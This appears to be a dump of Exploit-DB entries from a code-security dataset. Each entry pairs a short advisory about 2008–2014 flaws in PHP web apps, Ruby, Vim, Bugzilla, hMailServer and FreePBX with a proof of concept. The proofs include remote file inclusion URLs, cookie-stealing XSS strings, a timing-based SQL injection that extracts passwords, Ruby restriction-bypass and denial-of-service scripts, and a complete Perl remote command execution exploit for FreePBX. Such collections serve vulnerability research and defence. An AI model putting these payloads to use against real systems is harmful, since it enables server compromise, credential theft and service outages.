QLWD/code_shield huggingface dataset:
标题: Meet#Web 0.8 - 'ManagerRightsResource.class.php?root_path' Remote File Inclusion EDB-ID: 32233 CVE: 2008-6066 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30673/info
  
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Meet#Web 0.8 is vulnerable; other versions may also be affected.

http://www.example.com/cms/meetweb/classes/ManagerRightsResource.class.php?root_path=[SHell] URL: https://www.exploit-db.com/exploits/32233
标题: Meet#Web 0.8 - 'ManagerResource.class.php?root_path' Remote File Inclusion EDB-ID: 32232 CVE: 2008-6066 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30673/info
 
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
Meet#Web 0.8 is vulnerable; other versions may also be affected.

http://www.example.com/cms/meetweb/classes/ManagerResource.class.php?root_path=[SHell] URL: https://www.exploit-db.com/exploits/32232
标题: Meet#Web 0.8 - 'RegResource.class.php?root_path' Remote File Inclusion EDB-ID: 32235 CVE: 2008-6066 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30673/info
    
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
Meet#Web 0.8 is vulnerable; other versions may also be affected.

 http://www.example.com/cms/meetweb/classes/RegResource.class.php?root_path=[SHell] URL: https://www.exploit-db.com/exploits/32235
标题: YapBB 1.2 - 'class_yapbbcooker.php' Remote File Inclusion EDB-ID: 32244 CVE: 2008-5947 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30686/info

YapBB is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

YapBB 1.2 Beta2 is vulnerable; other versions may also be affected. 

http://www.example.com/include/class_yapbbcooker.php?cfgIncludeDirectory=http://www.example2.com URL: https://www.exploit-db.com/exploits/32244
标题: Meet#Web 0.8 - 'modules.php?root_path' Remote File Inclusion EDB-ID: 32231 CVE: 2008-6066 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/30673/info

Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Meet#Web 0.8 is vulnerable; other versions may also be affected.

 http://www.example.com/cms/meetweb/classes/modules.php?root_path=[SHell] URL: https://www.exploit-db.com/exploits/32231
标题: Vim - 'mch_expand_wildcards()' Heap Buffer Overflow EDB-ID: 32225 CVE: 2008-3432 类型: REMOTE 平台: LINUX 发布日期: 2005-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/30648/info

Vim is prone to a heap-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user running the application. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects Vim 6.2.429 through 6.3.058. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32225.zip URL: https://www.exploit-db.com/exploits/32225
标题: IDevSpot PHPLinkExchange 1.01/1.02 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32230 CVE: 2008-3679 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/30665/info

PhPLinkExchange is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PhpLinkExchange 1.01 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?catid=[XSS]
http://www.example.com/index.php?page=user_add&catid=[XSS]
http://www.example.com/index.php?page=recip&catid=[XSS]
http://www.example.com/index.php?page=tellafriend&catid=[XSS]
http://www.example.com/index.php?page=contact&catid=[XSS]
http://www.example.com/index.php?page=tellafriend&id=[XSS] URL: https://www.exploit-db.com/exploits/32230
标题: Bugzilla 3.1.4 - '--attach_path' Directory Traversal EDB-ID: 32228 CVE: 2008-4437 类型: REMOTE 平台: LINUX 发布日期: 2008-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/30661/info

Bugzilla is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the server. Information harvested may aid in launching further attacks.

The following versions are affected:

Bugzilla 2.22.1 through 2.22.4
Bugzilla 2.23.3 and later

<data encoding="filename">../relative_path/to/local_file</data> URL: https://www.exploit-db.com/exploits/32228
标题: Datafeed Studio - 'patch.php' Remote File Inclusion EDB-ID: 32226 CVE: 2008-4439 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/30659/info

Datafeed Studio is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/admin/bin/patch.php?INSTALL_FOLDER=[Evilc0dE] URL: https://www.exploit-db.com/exploits/32226
标题: Kayako SupportSuite 3.x - '/visitor/index.php?sessionid' Cross-Site Scripting EDB-ID: 32219 CVE: 2008-3700 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30642/info

Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Kayako SupportSuite 3.30 are vulnerable. 

http://www.example.com/visitor/index.php?_m=livesupport&_a=startclientchat&sessionid="%20onload%3dalert(document.cookie)%20style=%3d URL: https://www.exploit-db.com/exploits/32219
标题: Domain Group Network GooCMS 1.02 - 'index.php' Cross-Site Scripting EDB-ID: 32218 CVE: 2008-4424 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30635/info

GooCMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

GooCMS 1.02 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?task=comments&s=>?><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/32218
标题: Kayako SupportSuite 3.x - '/staff/index.php?customfieldlinkid' SQL Injection EDB-ID: 32221 CVE: 2008-3701 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30642/info
  
Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Versions prior to Kayako SupportSuite 3.30 are vulnerable. 

http://www.example.com/staff/index.php?_m=tickets&_a=ticketactions&action=delcflink&ticketid=1&customfieldlinkid=-99&#039;UNION SELECT IF(SUBSTRING(password,1, 1) = CHAR(50), BENCHMARK(1000000,MD5(CHAR(1))), null),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROMss_staff WHERE staffid=1/* URL: https://www.exploit-db.com/exploits/32221
标题: RMSOFT Downloads Plus - '/(rmdp) 1.5/1.7 Module for XOOPS down.php?id' Cross-Site Scripting EDB-ID: 32216 CVE: 2008-4435 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30620/info
 
RMSOFT Downloads Plus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Downloads Plus 1.5 and 1.7 are affected; other versions may also be vulnerable.

http://www.example.com/modules/rmdp/down.php?id=1">[XSS-code]
http://www.example.com/modules/rmdp/down.php?com_mode=nest&com_order=1&id=1">[XSS-code]&cid=3#users URL: https://www.exploit-db.com/exploits/32216
标题: Datafeed Studio 1.6.2 - 'search.php' Cross-Site Scripting EDB-ID: 32227 CVE: 2008-4438 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/30660/info

Datafeed Studio is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Datafeed Studio 1.6.2 is vulnerable; other versions may also be affected.

http://www.example.com/search.php?q="><script>alert("XSS")</script> URL: https://www.exploit-db.com/exploits/32227
标题: Ruby 1.9 - Safe Level Multiple Function Restriction Bypass EDB-ID: 32224 CVE: 2008-3655 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30644/info
  
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
  
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
  
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
  
- A flaw in 'dl' can allow attackers to call unauthorized functions.
  
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
  
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 

class Hello
 def world
   Thread.new do
     $SAFE = 4
     msg = "Hello, World!"
     def msg.size
       self.replace self*10 # replace string
       1 # return wrong size
     end
     msg
   end.value
 end
end

$SAFE = 1 # or 2, or 3
s = Hello.new.world
if s.kind_of?(String)
 puts s if s.size < 20 # print string which size is less than 20
end URL: https://www.exploit-db.com/exploits/32224
标题: Kayako SupportSuite 3.x - 'index.php?filter' Cross-Site Scripting EDB-ID: 32220 CVE: 2008-3700 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30642/info
 
Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Versions prior to Kayako SupportSuite 3.30 are vulnerable. 

http://www.example.com/index.php?_m=news&_a=view&filter=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ca%20href=%22 URL: https://www.exploit-db.com/exploits/32220
标题: Ruby 1.9 - 'WEBrick::HTTP::DefaultFileHandler' Crafted HTTP Request Denial of Service EDB-ID: 32222 CVE: 2008-4310 2008-3656 类型: DOS 平台: MULTIPLE 发布日期: 2008-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30644/info

Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:

- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.

- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.

- A flaw in 'dl' can allow attackers to call unauthorized functions.

Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.

These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 

#-- Exploitable Server --
# require 'webrick'
# WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

#-- Attack --
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res URL: https://www.exploit-db.com/exploits/32222
标题: Ruby 1.9 dl - Module DL.dlopen Arbitrary Library Access EDB-ID: 32223 CVE: 2008-3657 2008-3655 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30644/info
 
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
 
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
 
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
 
- A flaw in 'dl' can allow attackers to call unauthorized functions.
 
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
 
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname] URL: https://www.exploit-db.com/exploits/32223
标题: hMAilServer 4.4.1 - IMAP Command Remote Denial of Service EDB-ID: 32229 CVE: 2008-3676 类型: DOS 平台: WINDOWS 发布日期: 2008-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/30663/info

hMailServer is prone to a remote denial-of-service vulnerability caused by large numbers of certain IMAP commands.

Exploiting this issue will cause the server to crash and deny access to legitimate users.

hMailServer 4.4.1 is vulnerable; other versions may also be affected.

A01 CREATE AAAAA
A02 CREATE AAAAAA
A03 CREATE AAAAAAA
...
A97 RENAME AAAAA BBBBB
A98 RENAME AAAAAA BBBBBB
A100 RENAME AAAAAAA BBBBBBB URL: https://www.exploit-db.com/exploits/32229
标题: Procentia IntelliPen 1.1.12.1520 - 'data.aspx' Blind SQL Injection EDB-ID: 32212 CVE: 2014-2043 类型: WEBAPPS 平台: ASP 发布日期: 2014-03-12 漏洞利用脚本: CVE:  CVE-2014-2043
Vendor:  Procentia
Product:  IntelliPen
Affected version:  1.1.12.1520
Fixed version:  1.1.18.1658
Reported by:  Jerzy Kramarz
Details:

SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database.

The following URL and parameters have been confirmed to suffer from Blind SQL injection.

http[s]://<host>/Resources/System/Templates/Data.aspx?DocID=1&field=JobID&value=1<SQL INJECTION>&JobID=1&ParentDocID=1694&InTab=1&ParentKey=JobNumber&NoStore=1&Popup=1

This vulnerability exists because ‘value’ variable is not sanitised before it is used as part of an SQL query to retrived specific job information.
Impact:

An attacker would be able to exfiltrate the database, user credentials and in certain setup access the underling operating system.
Exploit:

Exploit code is not required.
Vendor status:
07/01/2014  Advisory created
16/01/2014  Vendor contacted
21/02/2014  CVE obtained
07/03/2014  Published
Copyright:

Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/32212
标题: RMSOFT Downloads Plus - '/(rmdp) 1.5/1.7 Module for XOOPS search.php?key' Cross-Site Scripting EDB-ID: 32215 CVE: 2008-4435 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30620/info

RMSOFT Downloads Plus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Downloads Plus 1.5 and 1.7 are affected; other versions may also be vulnerable.

http://www.example.com/modules/rmdp/search.php?key=">[XSS-code]&cat=0 URL: https://www.exploit-db.com/exploits/32215
标题: FreePBX 2.11.0 - Remote Command Execution EDB-ID: 32214 CVE: 2014-1903 类型: WEBAPPS 平台: PHP 发布日期: 2014-03-12 漏洞利用脚本: #!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;

# Exploit Title: FreePBX 2.9,2.10,2.11,12 Remote Command Execution
# Google Dork: n/a
# Date: 2/25/14
# Exploit Author: @0x00string
# Vendor Homepage: http://www.freepbx.org/
# Software Link: http://mirror.freepbx.org/freepbx-2.11.0.tar.gz
# Version: 2.11 tested working
# Tested on: Ubuntu 12.04, 13.10
# CVE : CVE-2014-1903


# References:
# http://seclists.org/bugtraq/2014/Feb/42
# http://issues.freepbx.org/browse/FREEPBX-7123
# http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-1903
#
# Developer Advisory:
# http://www.freepbx.org/news/2014-02-06/security-vulnerability-notice



# in /admin/config.php
# // handle special requests
# if (!isset($no_auth) && isset($_REQUEST['handler'])) {
#  $module = isset($_REQUEST['module']) ? $_REQUEST['module'] : '';
#  $file  = isset($_REQUEST['file'])  ? $_REQUEST['file']  : '';
#  fileRequestHandler($_REQUEST['handler'], $module, $file);
#  exit();
# }


# in /admin/library/view.functions.php
#     case 'api':
#       if (isset($_REQUEST['function']) && function_exists($_REQUEST['function'])) {
#         $function = $_REQUEST['function'];
#         $args = isset($_REQUEST['args'])?$_REQUEST['args']:'';
# 
#         //currently works for one arg functions, eventually need to clean this up to except more args
#         $result = $function($args);
#         $jr = json_encode($result);
#       } else {
#         $jr = json_encode(null);
#       }
#       header("Content-type: application/json");
#       echo $jr;
#     break;


$| = 1;

my $sock = new IO::Socket::INET (
    PeerHost => $ARGV[0],
    PeerPort => '80',
    Proto => 'tcp',
);
die "$!\n" unless $sock;
my $func = $ARGV[1];
my $args = "";
my $i = 0;
my $max = 1;
foreach(@ARGV) {
 if ($i > 1) {
  $args .= $_;
 }
 unless($i > (scalar(@ARGV) - 2)) {
  $args .= "%20";
 }
 $i++;
}
my $payload = "display=A&handler=api&file=A&module=A&function=" . $func . "&args=" . $args;
chomp($payload);
print "payload is " . $payload . "\n";
my $packet =  "GET http://" . $ARGV[0] . "/admin/config.php?" . $payload . "\r\n\r\n";
my $size = $sock->send($packet);
shutdown($sock, 1);
my $resp;
$sock->recv($resp, 1024);
print $resp . "\n";
$sock->close();
exit(0); URL: https://www.exploit-db.com/exploits/32214
标题: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'tribes.php?uid' Cross-Site Scripting EDB-ID: 32203 CVE: 2008-3668 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30618/info
     
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/tribes.php?uid=1"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32203
标题: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'scrapbook.php?uid' Cross-Site Scripting EDB-ID: 32201 CVE: 2008-3668 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30618/info
   
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/scrapbook.php?uid=1"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32201